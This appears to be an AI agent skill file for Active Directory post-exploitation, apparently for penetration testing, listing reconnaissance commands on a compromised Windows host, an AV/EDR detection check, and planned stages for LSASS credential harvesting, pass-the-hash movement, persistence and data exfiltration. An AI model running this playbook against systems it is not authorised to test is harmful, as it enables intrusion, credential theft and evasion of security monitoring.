ad-postexploitation

AD Post-Exploitation — Lateral Movement, Escalation & Persistence

Architecture

This skill is largely knowledge-driven. Most commands run on Windows targets via an established shell (evil-winrm, psexec, WMI, RDP). The attack machine (Linux/macOS) handles tooling orchestration with impacket and tunneling utilities.

Context required:
  SHELL_TYPE   = evil-winrm / psexec / wmiexec / RDP / meterpreter
  TARGET_IP    = IP of the compromised host
  DC_IP        = Domain Controller IP
  DOMAIN       = domain FQDN
  USERNAME     = compromised account
  PASSWORD / NTLM_HASH = credentials
  PRIVILEGE    = current privilege level (standard user / local admin / DA)

---

Initial Setup — Situational Awareness

Run immediately after gaining access:

# Identity
whoami /all

# Domain context
net user %username% /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain

# Network
ipconfig /all
route print
netstat -ano | findstr ESTABLISHED

# AV / EDR
sc query windefend
tasklist | findstr -i "defender\|carbon\|crowdstrike\|sentinel\|cylance\|cbdefense"

# PowerShell execution policy
Get-ExecutionPolicy -List

Create progress tasks with TaskCreate:

"STAGE 1 — Situational Awareness (identity, network, AV)"
"STAGE 2 — Credential Harvesting (LSASS, SAM, LSA secrets)"
"STAGE 3 — Lateral Movement (PTH, PTT, WinRM, PSExec)"
"STAGE 4 — Domain Privilege Escalation"
"STAGE 5 — Domain Persistence"
"STAGE 6 — Data Exfiltration"
"STAGE 7 — Cleanup Checklist"

---

Evidence Capture — Required at Every Stage

Before every major action, capture a screenshot:

# macOS (attack machine — terminal screenshot)
screencapture -x "$OUT/evidence/stage_$(date +%H%M%S)_$DESCRIPTION.png"

# Linux
scrot "$OUT/evidence/stage_$(date +%H%M%S)_$DESCRIPTION.png"

# BloodHound attack path export
# In BloodHound GUI: right-click path → Export → save as $OUT/evidence/bloodhound_path_to_DA.png

Capture terminal output to file alongside every command:

# Example: wrap evil-winrm session output
script -q -c "evil-winrm -i $TARGET_IP -u $USERNAME -p $PASSWORD" \
  "$OUT/evidence/shell_${TARGET_IP}_$(date +%Y%m%d_%H%M%S).log"